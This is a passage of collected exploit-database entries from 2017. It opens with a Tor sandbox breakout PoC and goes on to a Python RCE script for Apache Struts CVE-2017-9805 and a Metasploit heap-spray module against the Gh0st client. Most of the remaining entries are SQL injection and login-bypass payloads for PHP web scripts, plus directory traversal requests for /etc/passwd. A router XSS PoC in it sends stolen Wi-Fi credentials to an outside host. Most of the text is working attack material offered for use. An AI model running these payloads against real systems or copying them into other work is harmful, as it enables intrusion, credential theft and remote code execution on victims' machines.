(<https://www.x.org/releases/X11R7.7/doc/xextproto/xtest.html>) to
fake arbitrary keyboard and mouse events, directed at arbitrary
windows. This permits a sandbox breakout, e.g. by injecting keypresses
into a background window.
<https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux#HowdoIprotectmyselffromXexploits>
mentions that the X server is reachable, but it sounds like the author
didn't realize that a normal connection to the X server permits
sandbox breakouts by design.
To reproduce:
Install Debian Jessie with the Xfce4 desktop environment and with
backports enabled.
Install bubblewrap and xdotool.
Install the sandboxed Tor browser from
<https://www.torproject.org/dist/torbrowser/7.0a4/sandbox-0.0.6-linux64.zip>.
Launch the sandboxed Tor browser, use the default configuration. When
the browser has launched, close it.
Delete ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.
Store the following as ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.c:
=========================
*/
#include <stdlib.h>
#include <unistd.h>
int main(void){
int status;
setenv("LD_LIBRARY_PATH", "/home/amnesia/sandboxed-tor-browser/tor-browser", 1);
if (fork() == 0) {
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "key", "alt+F2", "sleep", "1", "type", "xfce4-terminal", NULL);
perror("fail");
return 0;
}
wait(&status);
if (fork() == 0) {
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", "sleep", "1", "type", "id", NULL);
perror("fail");
return 0;
}
wait(&status);
if (fork() == 0) {
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", NULL);
perror("fail");
return 0;
}
wait(&status);
while (1) sleep(1000);
return 0;
}
/*
=========================
In ~/.local/share/sandboxed-tor-browser/tor-browser/Browser, run
"gcc -static -o firefox firefox.c".
Run "cp /usr/bin/xdotool /usr/lib/x86_64-linux-gnu/* ~/.local/share/sandboxed-tor-browser/tor-browser/".
Now run the launcher for the sandboxed browser again. Inside the
sandbox, the new firefox binary will connect to the X11 server and
send fake keypresses to open a terminal outside the sandbox and type
into it.
There are probably similar issues with pulseaudio when it's enabled;
I suspect that it's possible to e.g. use the pulseaudio socket to load
pulseaudio modules with arbitrary parameters, which would e.g. permit
leaking parts of files outside the sandbox by using them as
authentication cookie files for modules that implement audio streaming
over the network.
###################################################################
I mixed up two sandboxes.
The blog post <https://blog.torproject.org/blog/tor-browser-70-released> talks about the Firefox content process sandbox, which is still in development and unrelated to the Tor-specific sandbox I looked at. So the "content sandboxing" the blog post talks about isn't very effective yet; the Mozilla wiki points to multiple bug lists that document the remaining work (https://wiki.mozilla.org/Security/Sandbox#Bug_Lists).
The sandbox I looked at here is written and distributed by the Tor Project.
https://gitweb.torproject.org/tor-browser/sandboxed-tor-browser.git/commit/?id=1bfbd7cc1cd60c9468f2e33a3d4816973f1fb2f5 was added to mitigate the issue I reported by filtering X11 traffic and whitelisting permitted X protocol extensions.
More warnings have been added to the corresponding documentation (https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux?action=diff&version=23&old_version=21) that point out that this sandbox should not be used without manually configuring nested X11 and that pulseaudio is unsafe.
*/
# Exploit Title: Struts 2.5 - 2.5.12 REST Plugin XStream RCE
# Google Dork: filetype:action
# Date: 06/09/2017
# Exploit Author: Warflop
# Vendor Homepage: https://struts.apache.org/
# Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
# Version: Struts 2.5 – Struts 2.5.12
# Tested on: Struts 2.5.10
# CVE : 2017-9805
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# Struts CVE-2017-9805 Exploit
# Warflop (http://securityattack.com.br/)
# Greetz: Pimps & G4mbl3r
# *****************************************************
import requests
import sys
def exploration(command):
exploit = '''
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''
url = sys.argv[1]
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}
request = requests.post(url, data=exploit, headers=headers)
print (request.text)
if len(sys.argv) < 3:
print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
print ('[*] Warflop - http://securityattack.com.br')
print ('[*] Greatz: Pimps & G4mbl3r')
print ('[*] Use: python struts2.py URL COMMAND')
print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
exit(0)
else:
exploration(sys.argv[2])
# # # # #
# Exploit Title: Online Invoice System 3.0 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.onlineinvoicesystem.com/
# Software Link: http://www.onlineinvoicesystem.com/index_v3.html
# Demo: http://www.onlineinvoicesystem.com/onlineinvoicesystem3/index.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
# User: anything Pass: 'or 1=1 or ''='
#
# Sql
# http://localhost/[PATH]/editclient.php?cid=[SQL]
# -5+/*!00003uNiOn*/(/*!00003SelECt*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER()),/*!50000CONCAT_WS*/(0x203a20,DATABASE()),/*!50000CONCAT_WS*/(0x203a20,VERSION()),0x283529,(/*!50000SelECt*/+export_set(5,@:=0,(SelECt+CoUnt(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629)--+-
#
# http://localhost/[PATH]/admin_invoice_print.php?id=[SQL]
#
# http://localhost/[PATH]/edit_invoice.php?id=[SQL]
#
# http://localhost/[PATH]/admin_invoice.php?id=[SQL]
# Etc...
# # # # #
# Exploit Title: HRM - Workable Zone : Ultimate HR System <= 1.2 - Unauthenticated Directory Traversal / Stored XSS
# Date: 2017-09-05
# Exploit Author: 8bitsec
# Vendor Homepage: http://workablezone.com
# Software Link: https://codecanyon.net/item/hrm-workable-zone-ultimate-hr-system/20182372
# Version: 1.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-09-05
Product & Service Introduction:
===============================
Workable Zone is probably one of most customizable Human resourse(HR) management software for companies of all sizes.
Technical Details & Description:
================================
Multiple Stored XSS vulnerabilities found.
Directory Traversal vulnerability can disclose sensitive files.
Proof of Concept (PoC):
=======================
Stored XSS:
Logged as Employee:
Write your payload on:
Profile > Last Name
Other vulnerable fields include: First Name, Contact Number
Unauthenticated Directory Traversal:
http://localhost.com/download?type=document&filename=../../../../../etc/passwd
Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Gh0st Client buffer Overflow',
'Description' => %q{
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
Opt::RPORT(80)
]
)
end
def make_packet(id, data)
msg = id.chr + data
compressed = Zlib::Deflate.deflate(msg)
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
end
def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 13
print_status('Invalid packet')
print_status(data)
return false
end
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
if mag.index(datastore['MAGIC']) != 0
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
return false
end
if pktlen != data.size
print_status('Packet size mismatch')
return false
end
msg = Zlib::Inflate.inflate(data[13..data.size])
if msg.size != msglen
print_status('Packet decompress failure')
return false
end
return true
end
def check
connect
sock.put(make_packet(101, "\x00")) # heartbeat
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Trying target #{target.name}")
print_status('Spraying heap...')
for i in 0..100
connect
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
if not validate_response(sock.get_once)
disconnect
return
end
end
for i in 103..107
print_status("Trying command #{i}...")
begin
connect
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
sock.put(sploit)
if validate_response(sock.get_once)
next
end
sleep(0.1)
break
rescue EOFError
print_status('Invalid')
end
end
handler
disconnect
end
end
# # # # #
# Exploit Title: EzBan - Banner Management System 5.3 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.mysticdreams.net/
# Software Link: http://www.mysticdreams.net/resources/ezban_demo.zip
# Demo: http://www.mysticdreams.net/products/ezban/
# Version: 5.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# Sql
# http://localhost/[PATH]/ezban.php?id=[SQL]&action=show
# 100++aND(/*!00002SelEcT*/+0x30783331+/*!00002frOM*/+(/*!00002SelEcT*/+cOUNT(*),/*!00002cOnCaT*/((/*!00002sELECT*/(/*!00002sELECT*/+/*!00002cOnCaT*/(cAST(dATABASE()+aS+/*!00002cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00002wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00002rAND*/(0)*2))x+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00002aNd*/+1=1&action=show
#
# Etc...
# # # # #
# # # # #
# Exploit Title: EzInvoice - Invoice Management System 6.0.2 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.mysticdreams.net/
# Software Link: http://www.mysticdreams.net/resources/ezinvoice_demo.zip
# Demo: http://www.mysticdreams.net/products/ezinvoice/
# Version: 6.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# Sql
# http://localhost/[PATH]/editclient.php?id=[SQL]
# -100+/*!11122UniOn*/+/*!11122SeleCt*/+0x283129,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),0x283329,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION())--+-
#
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
#
# Backup
# http://localhost/[PATH]/backups/index.php?client_name=admin
#
# Etc...
# # # # #
# Exploit Title: [Server Directory Traversal at Huawei HG255s]
# Date: [07.09.2017]
# Exploit Author: [Ahmet Mersin]
# Vendor Homepage: [www.huawei.com]
# Software Link: [Not published this modem just used by Turkey]
# Version: [V100R001C163B025SP02]
#POC:
https://www.youtube.com/watch?v=n02toTFkLOU&feature=youtu.be
http://192.168.1.1/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
#You want to follow my activity ?
https://www.linkedin.com/in/ahmet-mersin-177398b0/
@gaissecurity
# Exploit Title: XSS persistent on intelbras router with firmware WRN 250
# Date: 07/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10
# CVE-2017-14219
For more info:
http://whiteboyz.xyz/xss-roteador-intelbras-wrn-240html
URL VULN: http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm
Payload: </script><script src='//elb.me'>
"elb.me contains the malicious code on index"
airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon
//requires an php script to get the logs
PoC:
var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
alert(rawFile.responseText);
var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
//seleiciona a parte da página com as credenciais
new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
//envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da página /popupSiteSurveyRpm.htm
rawFile.send();
# # # # #
# Exploit Title: Escort Website Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/escort-website
# Demo: http://escortwebsite.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/prof_detils.html?escort=[SQL]
#
# -1418820035'+/*!11112UnIoN*/+(/*!11112SelEcT*/0x283129,0x283229,0x283329,0x283429,(Select+export_set(5,@:=0,(/*!11112SelEcT*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629)--+-
#
# http://localhost/[PATH]/ajax_rating.php?escort=[SQL]
#
# Etc..
# # # # #
# # # # #
# Exploit Title: Babysitter Website Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/babysitter-website
# Demo: http://babysitter.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/taskers?skills=[SQL]
#
# 63'AnD+(/*!44455sEleCT*/+0x31+/*!44455FrOM*/+(/*!44455sEleCT*/+cOUNT(*),/*!44455CoNCAt*/((/*!44455sEleCT*/(/*!44455sEleCT*/+/*!44455CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!44455FrOM*/+infOrMation_schEma.tables+/*!44455WherE*/+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!44455FrOM*/+infOrMation_schEma.tABLES+/*!44455gROUP*/+bY+x)a)+aND+1=1='
#
# Etc..
# # # # #
# # # # #
# Exploit Title: Job Board Software 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/job-board-software
# Demo: http://jobsite.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/job-details/[SQL]/eFe
#
# -131'+/*!50000UNION*/(/*!50000SELECT*/+0x283129,0x283229,0x283329,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229)--+-/eFe
#
# Etc..
# # # # #
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24]
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]
tested on app version 4.2.23, 4.2.24
we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested
203 // Adds an item to the plugin's cart
204 function UPCP_Add_To_Cart() {
205 global $woocommerce;
206 global $wpdb;
207 global $items_table_name;
208
209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
210
211 if ($WooCommerce_Checkout == "Yes") {
212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
215 }
216
217 if (isset($_COOKIE['upcp_cart_products'])) {
218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
219 }
220 else {
221 $Products_Array = array();
222 }
223
224 $Products_Array[] = $_POST['prod_ID'];
225 $Products_Array = array_unique($Products_Array);
226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
227 }
228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );
2. vulnerable code on Functions/Shortcodes.php <= not tested
POC
1. use a WP plugin to test php object injection,
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/
2. make a request
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)
print r.content
#------------------------------------
# # # # #
# Exploit Title: Website Broker Script - 'status_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/UwCG4464436/php-scripts/website-broker-script
# Demo: http://www.officialwebsiteforsale.com/official/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15992
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/status_list.php?status_id=[SQL]
#
# -12'++/*!50000UNION*/+/*!50000SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--+-
#
# Parameter: status_id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: status_id=12' AND 2717=2717 AND 'fNVA'='fNVA
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 5 columns
# Payload: status_id=-1351' UNION ALL SELECT NULL,CONCAT(0x71716b7a71,0x4857455572714d7a48506145547643734d6b794f515a506d6469764f5666736c6d754c7468444178,0x716a6b6271),NULL,NULL,NULL-- AJcv
#
# Etc..
# # # # #
# # # # #
# Exploit Title: Zomato Clone Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/099S4111872/php-scripts/zomato-clone-script
# Demo: http://jhinstitute.com/demo/foodpanda/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15993
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/restaurant-menu.php?resid=[SQL]
#
# -539'+++/*!02222UNION*/+/*!02222SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x3132,0x3133,0x3134--+-
#
# Parameter: resid (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload: resid=-9239 OR 3532=3532#
#
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: resid=539 AND SLEEP(5)
#
# Type: UNION query
# Title: MySQL UNION query (87) - 10 columns
# Payload: resid=539 UNION ALL SELECT 87,87,87,87,87,CONCAT(0x7170767071,0x7368446c664e5950484e757a6b4b5a616972446f41484d74485874656e476369647a774865767369,0x7176766b71),87,87,87,87#
#
# Etc..
# # # # #
# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability
# Date: 27-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730
1. Description
In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.
2. Proof of concept
<html>
<head>
<title>PHPMYSQL CSRF EXPLOIT</title>
</head>
<body>
<a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
</body>
</html>
3. Solution
Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
# Exploit Title: FS Thumbtack Clone - 'ser' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-10-24
Product & Service Introduction:
===============================
Marketplace Script is a popular software solution helping you launch a marketplace website within minutes.
Technical Details & Description:
================================
SQL injection on [ser] parameter.
Proof of Concept (PoC):
=======================
SQLi:
https://localhost/[path]/service-provider.php?ser=9631
Parameter: ser (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ser=9631' AND 8601=8601 AND 'ZarH'='ZarH
==================
8bitsec - [https://twitter.com/_8bitsec]
# Exploit Title: FS Shutter Stock Clone - 'keywords' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shutterstock-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-10-24
Product & Service Introduction:
===============================
This is a versatile script to help you to launch a stock photo like Shutterstock.
Technical Details & Description:
================================
SQL injection on [keywords] parameter.
Proof of Concept (PoC):
=======================
SQLi:
https://localhost/[path]/Category/
Parameter: keywords (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: keywords=SEARCH' AND (SELECT 2673 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(2673=2673,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UqZI'='UqZI&category=3
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: keywords=SEARCH' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x6251747761714a75646f44454749674748584975524b6c59687576456c68696761764659764a6954,0x71767a6b71)-- HXrZ&category=3
==================
8bitsec - [https://twitter.com/_8bitsec]